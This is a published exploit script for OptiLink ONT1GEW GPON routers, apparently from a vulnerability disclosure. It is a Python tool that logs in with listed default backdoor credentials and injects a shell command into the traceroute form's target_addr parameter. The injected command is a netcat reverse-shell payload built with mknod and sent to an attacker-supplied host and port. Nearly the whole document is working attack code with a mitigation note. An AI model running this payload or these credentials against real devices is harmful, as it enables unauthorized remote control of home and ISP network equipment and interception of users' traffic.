OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated)

# Exploit Title: OptiLink ONT1GEW GPON 2.1.11_X101 Build 1127.190306 - Remote Code Execution (Authenticated)
# Date: 23/03/2021
# Exploit Authors:  Developed by SecNigma and Amal.
# Vendor Homepage:  https://optilinknetwork.com/
# Version: ONT1GEW V2.1.11_X101 Build.1127.190306
# Mitigation: Ask the vendor to issue a router upgrade to Build.1653.210425 and above,
# as they do not release the firmware to the public for some unknown reason.
# Additional notes:			
# Tested on the following configuration. Might be suitable for other OptiLink devices with Build <= 1127.190306.
# Device Name: ONT1GEW
# Software Version:  V2.1.11_X101
# Build Information: Build.1127.190306 
# Chances are that XPONs of C-DATA company are affected too.
# Our research indicated that Optilink devices are just a rebranded version of C-Data.
# This exploit was tested on the following configuration.

#!/usr/bin/python3

import requests
import argparse
import re

def is_login_success(r):
	match=re.findall("invalid username!|bad password!|you have logined error 3 consecutive times, please relogin 1 minute later!|another user have logined in",r.text)
	if match:
	    return match
		
# Default configuration
# Router address   = 192.168.101.1
# LPORT 		   = 9001
# Default Username = e8c  / Backdoor     /
# Default Password = e8c /  Credentials /

parser= argparse.ArgumentParser()

parser.add_argument("-t", "--target", dest = "target", default = "192.168.101.1", help="Target OptiLink Router IP")
parser.add_argument("-l", "--lhost", dest = "lhost" , help="Our Local IP to catch the shell!", required=True)
parser.add_argument("-lp", "--lport", dest = "lport", default = "9001", help="Our Local port for catching the shell!")
parser.add_argument("-u", "--user", dest = "user", default = "e8c", help="Username of Optilink Router")
parser.add_argument("-p", "--pass", dest = "passw", default = "e8c", help="Password of Optilink Router")
args = parser.parse_args()

target=args.target,
lhost=args.lhost,
lport=args.lport,
user=args.user,
passw=args.passw

# e8c:e8c are the backdoor administrator creds to Optilink devices
# Alternate backdoor credentials are  adsl:realtek, admin:admin.
user2="e8c"
passw2="e8c"

home_url="http://"+target[0]+"/boaform/admin/formLogin"

print("[+] Trying to authenticate...")

# Authenticate ourselves first
data={'username':user, 'psd':passw}
r=requests.post(home_url,data)

res=is_login_success(r)
if res:
	print("[-] Exploit failed when using the following credentials: "+str(user)+":"+str(passw)+"")
	print("[-] Exploit failed with the following error:")
	print(res)
	print("[!] Do you want to try to authenticate with the following credentials: "+str(user2)+":"+str(passw2)+" ?")
	val = input("Press y or n : ")
	if val[0].lower()=="y":
		print("[+] Trying to authenticate with the credentials "+str(user2)+":"+str(passw2)+"")
		
		# Authenticate ourselves with new creds
		data={'username':user2, 'psd':passw2}
		r=requests.post(home_url,data)
		res2=is_login_success(r)
		
		if res2:
			print("[-] Exploit failed when using the following credentials: "+str(user2)+":"+str(passw2)+"")
			print("[-] Exploit failed with the following error:")
			print(res2)
			print("[-] Halting Execution.")
			exit()
	else:
		print("Received input "+val+"")
		print("[-] Halting Execution.")
		exit()
	
print("[+] Looks like authentication was succesful!")
print("[+] Trying to fetch the WAN Name...")

# Fetching Wan Name
# wan_name="1_INTERNET_R_VID_***"

get_wan_url = "http://"+target[0]+"/diag_ping.asp"
r=requests.get(get_wan_url)

match=re.findall("name=\"waninf\"><option value=\"(.*?)\">",r.text)
wan_name=match[0]


print("[+] Initiating Exploitation. Don't forget to start the nc listener on port "+str(lport)+"..")
print("[+] I'm Waiting...Said Captain Jagdish *wink* *wink*")
print("[+] If everything went right, you should've gotten a shell right now!")

# Starting Exploitation

# The same vulnerability exists in formPing and formTracert.
# exploit_url = "http://"+target[0]+"/boaform/admin/formPing"
exploit_url = "http://"+target[0]+"/boaform/admin/formTracert"
# Found a new way to get reverse shell using mknod instead of mkfifo during the exploitation of this router :)
# BusyBox binary used by this router was very limited and didn't had mkfifo. So, we got creative to workaround it.
# The payload is available at swisskeyrepo's PayloadAllTheThings GitHub repo as Netcat BusyBox payload.
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox
post_data='target_addr="1.1.1.1+`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+'+lhost[0]+'+'+lport[0]+'+>/tmp/f`"&waninf='+wan_name+'"'
r=requests.post(exploit_url,post_data)